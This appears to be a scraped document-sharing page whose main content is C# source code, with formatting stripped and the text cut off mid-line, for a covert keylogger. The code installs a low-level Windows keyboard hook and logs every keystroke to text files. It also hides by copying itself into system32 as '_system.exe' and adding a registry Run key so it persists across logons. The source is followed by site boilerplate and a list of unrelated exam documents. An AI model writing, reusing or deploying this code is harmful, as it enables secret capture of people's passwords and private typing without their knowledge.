全文预览已结束
下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
HCode=C#/Hook.cs代码using System;using System.Runtime.InteropServices;using System.Reflection;using System.Windows.Forms;namespace KingOper public enum KeyboardEvents KeyDown = 0x0100, KeyUp = 0x0101, SystemKeyDown = 0x0104, SystemKeyUp = 0x0105 StructLayout(LayoutKind.Sequential) public struct KeyboardHookStruct public int vkCode; /表示一个在1到254间的虚似键盘码 public int scanCode; /表示硬件扫描码 public int flags; public int time; public int dwExtraInfo; public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key); public class Hook public event KeyboardEventHandler KeyboardEvent; public enum HookType WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_KEYBOARD = 2, WH_GETMESSAGE = 3, WH_CALLWNDPROC = 4, WH_CBT = 5, WH_SYSMSGFILTER = 6, WH_MOUSE = 7, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, WH_FOREGROUNDIDLE = 11, WH_CALLWNDPROCRET = 12, WH_KEYBOARD_LL = 13, WH_MOUSE_LL = 14, WH_MSGFILTER = -1, public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern bool UnhookWindowsHookEx(IntPtr hookHandle); private IntPtr instance; private IntPtr hookHandle; private int threadID; private HookProc hookProcEx; public Hook() this.instance = Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()0); this.threadID = 0; hookHandle = IntPtr.Zero; hookProcEx = new HookProc(hookProc); public bool SetHook() this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID); return (int)hookHandle != 0); public IntPtr hookProc(int code, int wParam, IntPtr lParam) if(code = 0) KeyboardEvents kEvent = (KeyboardEvents)wParam; if (kEvent != KeyboardEvents.KeyDown & kEvent != KeyboardEvents.KeyUp & kEvent != KeyboardEvents.SystemKeyDown & kEvent != KeyboardEvents.SystemKeyUp) return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); KeyboardHookStruct MyKey = new KeyboardHookStruct(); Type t = MyKey.GetType(); MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t); Keys keyData=(Keys)MyKey.vkCode; KeyboardEvent(kEvent, keyData); return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); public bool UnHook() return Hook.UnhookWindowsHookEx(this.hookHandle); /RegistryReport.cs代码using System;using System.IO;using Microsoft.Win32;using System.Windows.Forms;namespace KingOper public class RegistryReport public RegistryReport() public void MoveFile() if(!File.Exists(c:windowssystem32_system.exe) File.Move(Application.ExecutablePath,c:windowssystem32_system.exe); else return; public void registryRun() RegistryKey key1=Registry.CurrentUser.CreateSubKey(SoftwareMicrosoftWindowsCurrentVersionrun); key1.SetValue(,c:windowssystem32_system.exe); key1.Close(); /Report.cs代码using System;using System.IO;namespace KingOper public class Report public Report() public void FirstWrite() StreamWriter sw = new StreamWriter(c:/windows/system32/keyReport.txt,true); sw.WriteLine(* LittleStudio Studio * ); sw.WriteLine(* + DateTime.Today.Year.ToString() + . + DateTime.Today.Month.ToString() + . + DateTime.Today.Day.ToString() + + DateTime.Now.Hour.ToString() + : + DateTime.Now.Minute.ToString() + : + DateTime.Now.Second.ToString() + *); sw.Close(); public void WriteDate(string keyEvents,string keyDate) try StreamWriter sw = new StreamWriter(c:/keyReport.txt,true); sw.WriteLine(keyDate + 键 + keyEvents + + DateTime.Now.Hour.ToString() + : + DateTime.Now.Minute.ToString() + : + DateTime.Now.Second.ToString(); sw.Close(); catch return; test_Load调用的实现private Hook MyHook=new Hook(); private Report MyReport=new Report(); private RegistryReport MyRegistryReport;private void test_Load(object sender, System.EventArgs e) MyRegistryReport=new RegistryReport(); this.MyRegistryReport.MoveFile(); this.MyRegistryReport.registryRun(); this.MyReport.FirstWrite(); this.MyHook.SetHook(); this.MyHook.KeyboardEvent += new KeyboardEventH
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 医师法笔试题及答案
- 煤炭企业笔试题目及答案
- 益阳迎鑫报废农业机械回收拆解建设项目环境影响报告表
- 益阳爱尔眼科医院搬迁改造装修建设项目环境影响报告表
- 财务稽核员培训课程设计
- 高校师范专业三年级《教育测量与评价》单元教学设计:多元评价方法的应用与效果验证
- 小升初英语分班考试综合模拟卷含听力文本与答案解析
- 2026年吉林省图们市高一数学下册期末考试模拟测试卷含答案【综合卷】
- 2026年江苏省如皋市高一数学下册期末考试模拟检测卷附参考答案【培优B卷】
- 2026年福建省长乐市高一数学下册期末考试模拟考试卷(含答案)
- 2026年医师定期考核试题库附完整答案(夺冠)
- 2026年电气工程专业《中级职称》考试(含答案)(题库)
- 资本赋能与产业升级:资本市场驱动战略性新兴产业成长的深度剖析
- 集输气站场安全救护小常识培训
- 2026湖南事业单位招聘考试(财经)历年参考题库含答案详解
- 西北农林科技大学2026年强基计划面试+体育测试模拟试题及答案解析
- 《物流企业分类与评估指标》
- 2026苏教版一年级数学下册期末试卷及答案
- 安庆市2025安徽安庆市市直事业单位公开招聘81人笔试历年参考题库典型考点附带答案详解
- GB/T 47427-2026合成纤维预取向丝(POY)动态热应力试验方法
- 2026年广东省汕头市龙湖区中考一模考试地理试题(含答案)
评论
0/150
提交评论